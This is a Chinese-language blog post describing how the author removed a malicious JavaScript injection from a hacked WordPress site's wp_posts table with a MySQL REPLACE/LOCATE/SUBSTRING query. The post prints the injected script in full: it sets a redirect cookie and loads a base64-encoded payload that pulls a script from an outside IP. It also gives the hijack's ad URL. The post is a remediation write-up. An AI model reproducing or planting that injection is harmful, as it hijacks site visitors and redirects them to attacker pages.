MySQL批量替换HTML标签
1前因
前段时间维护的一个WordPress小网站被黑,分析源码发现内容中多出了一段JavaScript代码:
<!--codes_iframe--><scripttype="text/javascript">functiongetCookie(e){varU=document.cookie.match(newRegExp("(?:^|;)"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));returnU?decodeURIComponent(U[1]):void0}varsrc="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void0===time){vartime=Math.floor(Date.now()/1e3+86400),date=newDate((newDate).getTime()+86400);document.cookie="redirect="+time+";path=/;expires="+date.toGMTString(),document.write('<scriptsrc="'+src+'"><\/script>')}</script><!--/codes_iframe-->
访问页面的时候,会跳转到黑客的广告页面:
https://cobalten.com/afu.php?zoneid=1365143&var=1460425
经过追踪,最后发现是在MySQL中被注入了以上代码,所以需要在wp_posts表中把这些内容都替换掉
(当然后来加强了这个网站的安全防范)
2解决
我们知道MySQL中无法用正则替换,后来在一个博客中找到解决方法,博客链接放在文末。
具体语句如下:
updatewp_postssetpost_content=replace( post_content, substring( post_content, locate('<!--codes_iframe-->',post_content), locate('<!--/codes_iframe-->',post_content)+LENGTH('<!--/codes_iframe-->')-locate('<!--codes_iframe-->',post_content) ), '' );
为了好看,语句加了格式化。
执行一下问题解决了。
3用到函数
- LOCATE(substr,str):返回子串substr在字符串str中第一次出现的位置。如果子串substr在str中不存在,返回值为0。
- SUBSTRING(str,pos,len):由<str>中的第<pos>位置开始,选出接下去的<len>个字元。
- replace(str1,str2,str3):在字段str1中,替换str2为str3。
- leght(str):返回字符串的长度
参考资料:
- mysql正则表达式替换内容